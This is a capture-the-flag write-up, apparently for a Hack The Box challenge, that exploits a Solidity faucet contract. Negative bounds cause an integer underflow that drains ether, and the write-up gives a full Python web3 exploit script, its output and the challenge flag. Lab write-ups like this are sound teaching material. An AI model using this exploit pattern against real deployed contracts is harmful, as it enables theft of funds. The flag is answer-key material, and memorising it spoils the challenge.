We start by downloading the source files.
We are given two files:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.6;
import {LuckyFaucet} from "./LuckyFaucet.sol";
contract Setup {
LuckyFaucet public immutable TARGET;
uint256 constant INITIAL_BALANCE = 500 ether;
constructor() payable {
TARGET = new LuckyFaucet{value: INITIAL_BALANCE}();
}
function isSolved() public view returns (bool) {
return address(TARGET).balance <= INITIAL_BALANCE - 10 ether;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
contract LuckyFaucet {
int64 public upperBound;
int64 public lowerBound;
constructor() payable {
// start with 50M-100M wei Range until player changes it
upperBound = 100_000_000;
lowerBound = 50_000_000;
}
function setBounds(int64 _newLowerBound, int64 _newUpperBound) public {
require(_newUpperBound <= 100_000_000, "100M wei is the max upperBound sry");
require(_newLowerBound <= 50_000_000, "50M wei is the max lowerBound sry");
require(_newLowerBound <= _newUpperBound);
// why? because if you don't need this much, pls lower the upper bound :)
// we don't have infinite money glitch.
upperBound = _newUpperBound;
lowerBound = _newLowerBound;
}
function sendRandomETH() public returns (bool, uint64) {
int256 randomInt = int256(blockhash(block.number - 1)); // "but it's not actually random 🤓"
// we can safely cast to uint64 since we'll never
// have to worry about sending more than 2**64 - 1 wei
uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound);
bool sent = msg.sender.send(amountToSend);
return (sent, amountToSend);
}
}
We need to subtract 10 ETH from that contract. We do that by calling the
We can set upper bound and lower bound but we need to fullfill requirements:
require(_newUpperBound <= 100_000_000, "100M wei is the max upperBound sry");
require(_newLowerBound <= 50_000_000, "50M wei is the max lowerBound sry");
require(_newLowerBound <= _newUpperBound);
On the first glance, it seems like we can't set the upper bound to a value greater than 100_000_000, so we will never be able to get 10 ETH from the contract.
Looking at it for some time we notice that we can try to make the lower bound negative and the upper bound 0, this could lead to an integer underflow and the amount to send could get very high.
uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound);
bool sent = msg.sender.send(amountToSend);
return (sent, amountToSend);
We use python for this. We get our connection information by connecting to the provided server.
nc 83.136.249.153 53682
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 1
from web3 import Web3, AsyncWeb3
from abis import TARGET_ABI, SETUP_ABI
PRIVATE_KEY = "0x8cd6695ed781d035318157f0aed298a2f5a231eaed5f8c4767a2c2f350e6af74"
TARGET_CONTRACT = "0xFF6d371F8e0d0F98472196d92D3feeDFC144beE4"
SETUP_CONTRACT = "0xA9d0B0A67a4a34a2F75dE517052428820F63eE97"
PROVIDER_IP = "83.136.249.153:49757"
# Connect to the blockchain
w3 = Web3(Web3.HTTPProvider('http://' + PROVIDER_IP))
# Test the connection
connection_status = w3.is_connected()
print(f"Connected to the blockchain: {connection_status}")
# Add account from private key
account = w3.eth.account.from_key(PRIVATE_KEY)
# Check balance of user
balance = w3.eth.get_balance(account.address) / 10**18
print(f"Balance of user: {balance}")
# Load the target contract
target_contract = w3.eth.contract(address=TARGET_CONTRACT, abi=TARGET_ABI)
# Load the setup contract
setup_contract = w3.eth.contract(address=SETUP_CONTRACT, abi=SETUP_ABI)
# check balance of target contract
target_balance = w3.eth.get_balance(TARGET_CONTRACT) / 10**18
print(f"Balance of target contract: {target_balance}")
# change the lower and upper bounds
result = target_contract.functions.setBounds(-1000000, 0).call()
print(f"Result: {result}")
tx_hash = target_contract.functions.setBounds(-1000000, 0).transact({"from": account.address})
print(f"Transaction hash: {tx_hash.hex()}")
# Wait for the transaction to be mined
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
# call the sendRandomETH function
result = target_contract.functions.sendRandomETH().call()
print(f"Result: {result}")
tx_hash = target_contract.functions.sendRandomETH().transact({"from": account.address})
print(f"Transaction hash: {tx_hash.hex()}")
# Wait for the transaction to be mined
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f"Transaction receipt: {tx_receipt}")
# Check balance of user
balance = w3.eth.get_balance(account.address) / 10**18
print(f"Balance of user: {balance}")
# check balance of target contract
target_balance = w3.eth.get_balance(TARGET_CONTRACT) / 10**18
print(f"Balance of target contract: {target_balance}")
# Call isSolved function
result = setup_contract.functions.isSolved().call()
print(f"Result: {result}")
Hint: you can generate the abi by using Remix. You can get the abi for this script here.
Running the script will give us the flag.
python3 exploit.py
Connected to the blockchain: True
Balance of user: 5000.000000007871
Balance of target contract: 499.999999992129
Result: []
Transaction hash: 0xd9fd5e25c57172c98be02cacfbb7af06bc38b5171b244156056f355962a94dac
Result: [True, 18446744073708834997]
Transaction hash: 0x6715a111fa49c844973be010ba0d6b472db3237a83ecac1616f969a853632e52
Transaction receipt: AttributeDict({'transactionHash': HexBytes('0x6715a111fa49c844973be010ba0d6b472db3237a83ecac1616f969a853632e52'), 'transactionIndex': 0, 'blockHash': HexBytes('0x2b5d39e68fe59e471b1a0169bc5ec3303d0095f0af4491028fee438c213c5bc1'), 'blockNumber': 160, 'cumulativeGasUsed': 30463, 'gasUsed': 30463, 'effectiveGasPrice': 0, 'from': '0xE6C609866D191F88cF56BC59d0942DBfdF3e6256', 'to': '0xFF6d371F8e0d0F98472196d92D3feeDFC144beE4', 'contractAddress': None, 'logs': [], 'logsBloom': HexBytes('0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'), 'status': 1, 'type': 2, 'depositNonce': None})
Balance of user: 5018.446744081579
Balance of target contract: 481.55325591842114
Result: True
nc 83.136.249.153 53682
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 3
HTB{1_f0rg0r_s0m3_U}